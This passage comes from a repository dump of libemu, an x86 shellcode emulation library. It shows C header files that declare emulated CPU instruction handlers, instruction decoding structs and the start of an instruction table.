*/\nint32_t prefix_fn(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cpuid_0fa2(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_salc_d6(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* add */\nint32_t instr_add_00(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_add_01(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_add_02(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_add_03(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_add_04(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_add_05(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* or */\nint32_t instr_or_08(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_or_09(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_or_0a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_or_0b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_or_0c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_or_0d(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* adc */\nint32_t instr_adc_10(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_adc_11(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_adc_12(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_adc_13(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_adc_14(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_adc_15(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* sbb */\nint32_t instr_sbb_18(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sbb_19(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sbb_1a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sbb_1b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sbb_1c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sbb_1d(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* and */\nint32_t instr_and_20(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_and_21(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_and_22(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_and_23(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_and_24(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_and_25(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* sub */\nint32_t instr_sub_28(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sub_29(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sub_2a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sub_2b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sub_2c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sub_2d(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* xor */\nint32_t instr_xor_30(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xor_31(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xor_32(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xor_33(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xor_34(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xor_35(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* cmp */\nint32_t instr_cmp_38(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmp_39(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmp_3a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmp_3b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmp_3c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmp_3d(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* group 1 */\nint32_t instr_group_1_80(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_add(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_or (struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_adc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_and(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_sub(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_xor(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_80_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_group_1_81(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_add(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_or(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_adc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_and(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_sub(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_xor(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_81_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_group_1_83(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_add(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_or(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_adc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_and(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_sub(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_xor(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_1_83_cmp(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* group 3 */\nint32_t instr_group_3_f6(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_test(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_not(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_neg(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_mul(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_imul(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_div(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f6_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_group_3_f7(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_not(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_neg(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_mul(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_imul(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_div(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_3_f7_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* group 4 */\nint32_t instr_group_4_fe(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_4_fe_inc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_4_fe_dec(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n\n\n/* group 5 */\nint32_t instr_group_5_ff(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_group_5_ff_inc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_5_ff_dec(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_5_ff_call(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_5_ff_jmp(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_5_ff_push(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* group 10 */\nint32_t instr_group_10_8f(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_10_8f_pop(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* inc */\nint32_t instr_inc_4x(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* dec */\nint32_t instr_dec_4x(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* jcc */\nint32_t instr_jcc_70(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_71(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_72(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_73(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_74(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_75(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_76(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_77(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_78(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_79(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7d(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7e(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_7f(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_e3(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_jcc_0f80(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f81(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f82(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f83(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f84(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f85(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f86(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f87(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f88(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f89(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8a(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8b(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8c(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8d(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8e(struct emu_cpu *c, struct emu_cpu_instruction *i); \nint32_t instr_jcc_0f8f(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_setcc_0f94(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_setcc_0f95(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* jump */\nint32_t instr_jmp_e9(struct emu_cpu *c, struct emu_cpu_instruction *i); \n/*int32_t instr_jmp_ea(struct emu_cpu *c, struct instruction *i);*/ \nint32_t instr_jmp_eb(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* mov */\nint32_t instr_mov_88(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_8a(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_8b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_8c(struct emu_cpu *c, struct emu_cpu_instruction *i);\n/*int32_t instr_mov_8e(struct emu_cpu *c, struct instruction *i);*/\nint32_t instr_mov_a0(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_a1(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_a2(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_a3(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_movsb(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_bx_1(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_bx_2(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_c6(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_mov_c7(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\nint32_t instr_leave(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \n/* pop */\n/*int32_t instr_pop_07(struct emu_cpu *c, struct instruction *i);\nint32_t instr_pop_17(struct emu_cpu *c, struct instruction *i);\nint32_t instr_pop_1f(struct emu_cpu *c, struct instruction *i);*/\nint32_t instr_pop_5x(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_popad_61(struct emu_cpu *c, struct emu_cpu_instruction *i);\n/*int32_t instr_pop_0fa1(struct emu_cpu *c, struct instruction *i);\nint32_t instr_pop_0fa9(struct emu_cpu *c, struct instruction *i);*/\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n/* push */                                                       \n/*int32_t instr_push_06(struct emu_cpu *c, struct instruction *i);  \nint32_t instr_push_0e(struct emu_cpu *c, struct instruction *i);  \nint32_t instr_push_16(struct emu_cpu *c, struct instruction *i);\nint32_t instr_push_1e(struct emu_cpu *c, struct instruction *i);*/\nint32_t instr_push_5x(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_pushad_60(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_push_68(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_push_6a(struct emu_cpu *c, struct emu_cpu_instruction *i);\n/*int32_t instr_push_0fa0(struct emu_cpu *c, struct instruction *i);\nint32_t instr_push_0f08(struct emu_cpu *c, struct instruction *i);*/\n\n/* call */\n/*int32_t instr_call_9a(struct emu_cpu *c, struct instruction *i);*/\nint32_t instr_call_e8(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* loop/loopcc*/\nint32_t instr_loopcc_e0(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_loopcc_e1(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_loop_e2(struct emu_cpu *c, struct emu_cpu_instruction *i); \n\n/* ret */\nint32_t instr_ret_c2(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_ret_c3(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* stos/stoscc*/\nint32_t instr_stos_aa(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_stos_ab(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* lods/lodscc*/\nint32_t instr_lods_ac(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_lods_ad(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* aaa */\nint32_t instr_aaa_37(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* imul */\n/*int32_t instr_imul_69(struct emu_cpu *c, struct instruction *i);*/\nint32_t instr_imul_6b(struct emu_cpu *c, struct emu_cpu_instruction *i);\n/*int32_t instr_imul_0f_af(struct emu_cpu *c, struct instruction *i);*/\n\n/* misc */\nint32_t instr_daa_27(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_das_2f(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_aas_3f(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_lea_8d(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cbw_98(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cwd_99(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_wait_9b(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_pushf_9c(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_popf_9d(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sahf_9e(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_lahf_9f(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmc_f5(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_clc_f8(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_stc_f9(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cld_fc(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_std_fd(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_sldt_0f00(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* group 2*/\nint32_t instr_group_2_c0(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\nint32_t instr_group_2_c1(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_c1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\nint32_t instr_group_2_d0(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\nint32_t instr_group_2_d1(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\nint32_t instr_group_2_d2(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d2_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\nint32_t instr_group_2_d3(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_ror(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_rol(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_sal(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_sar(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_group_2_d3_shr(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n\n/* repcc */\n/*int32_t instr_repcc_f2a6(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f2a7(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f2ae(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f2af(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f36c(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f36d(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f36e(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f36f(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3a4(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3a5(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3aa(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3ab(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3ac(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3ad(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3a6(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3a7(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3ae(struct emu_cpu *c, struct instruction *i);\nint32_t instr_repcc_f3af(struct emu_cpu *c, struct instruction *i); */\n\n/* test */\nint32_t instr_test_84(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_test_85(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_test_a8(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_test_a9(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* scas */\nint32_t instr_scas_ae(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_scas_af(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* cmps */\nint32_t instr_cmps_a6(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_cmps_a7(struct emu_cpu *c, struct emu_cpu_instruction *i); \n\n/* xchg */\nint32_t instr_xchg_86(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xchg_87(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_xchg_9x(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* movsx */\nint32_t instr_movsx_0fbe(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_movsx_0fbf(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* movzx */\nint32_t instr_movzx_0fb6(struct emu_cpu *c, struct emu_cpu_instruction *i);\nint32_t instr_movzx_0fb7(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* fpu esc */\nint32_t instr_esc_fpu_dx(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n/* int */\nint32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i);\n\n#endif /*HAVE_EMU_CPU_FUNCTIONS_H*/                           \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \n"
  },
  {
    "path": "include/emu/emu_cpu_instruction.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_CPU_INSTRUCTION\n#define HAVE_EMU_CPU_INSTRUCTION\n\n\n\n#include <stdint.h>\n\n\nstruct emu_cpu_instruction;\nstruct emu_cpu;\n\nstruct emu_cpu_instruction_info\n{\n\tint32_t (*function)(struct emu_cpu *, struct emu_cpu_instruction *);\n\tconst char *name;\n    \n\tstruct\n\t{\n\t\tuint8_t s_bit : 1;\n\t\tuint8_t w_bit : 1;\n\t\tuint8_t modrm_byte : 4;\n\t\tuint8_t imm_data : 3;\n\t\tuint8_t disp_data : 3;\n\t\tuint8_t level : 2;\n\t\tuint8_t type : 2;\n\t\tuint8_t fpu_info : 1;\n\t} format;\n};\n\nstruct emu_cpu_instruction\n{\n\tuint8_t opc;\n\tuint8_t opc_2nd;\n\tuint16_t prefixes;\n\tuint8_t s_bit : 1;\n\tuint8_t w_bit : 1;\n\tuint8_t operand_size : 2;\n\n\tstruct /* mod r/m data */\n\t{\n\t\tunion\n\t\t{\n\t\t\tuint8_t mod : 2;\n\t\t\tuint8_t x : 2;\n\t\t};\n\n\t\tunion\n\t\t{\n\t\t\tuint8_t reg1 : 3;\n\t\t\tuint8_t opc : 3;\n\t\t\tuint8_t sreg3 : 3;\n\t\t\tuint8_t y : 3;\n\t\t};\n\n\t\tunion\n\t\t{\n\t\t\tuint8_t reg : 3;\n\t\t\tuint8_t reg2 : 3;\n\t\t\tuint8_t rm : 3;\n\t\t\tuint8_t z : 3;\n\t\t};\n\n\t\tstruct\n\t\t{\n\t\t\tuint8_t scale : 2;\n\t\t\tuint8_t index : 3;\n\t\t\tuint8_t base : 3;\n\t\t} sib;\n\n\t\tunion\n\t\t{\n\t\t\tuint8_t s8;\n\t\t\tuint16_t s16;\n\t\t\tuint32_t s32;\n\t\t} disp;\n\t\t\n\t\tuint32_t ea;\n\t} modrm;\n\n\tuint32_t imm;\n\tuint16_t *imm16;\n\tuint8_t *imm8;\n\n\tint32_t disp;\n\n\n};\n\n\n\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_cpu_itables.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_CPU_ITABLES_H\n#define HAVE_EMU_CPU_ITABLES_H\n\n// for i in $(seq 0 255); do printf \"\\t/* %02x */ {0, 0, {0, 0, 0, 0, 0, 0, 0}},\\n\" $i; done >> emu_cpu_itables.h */\n\n\n#include <emu/emu_cpu_functions.h>\n#include <emu/emu_cpu_instruction.h>\n\n#define II_SBIT 1\n#define II_WBIT 1\n\n#define II_XX_REG1_REG2 1\n#define II_MOD_REG_RM 2\n#define II_XX_YYY_REG 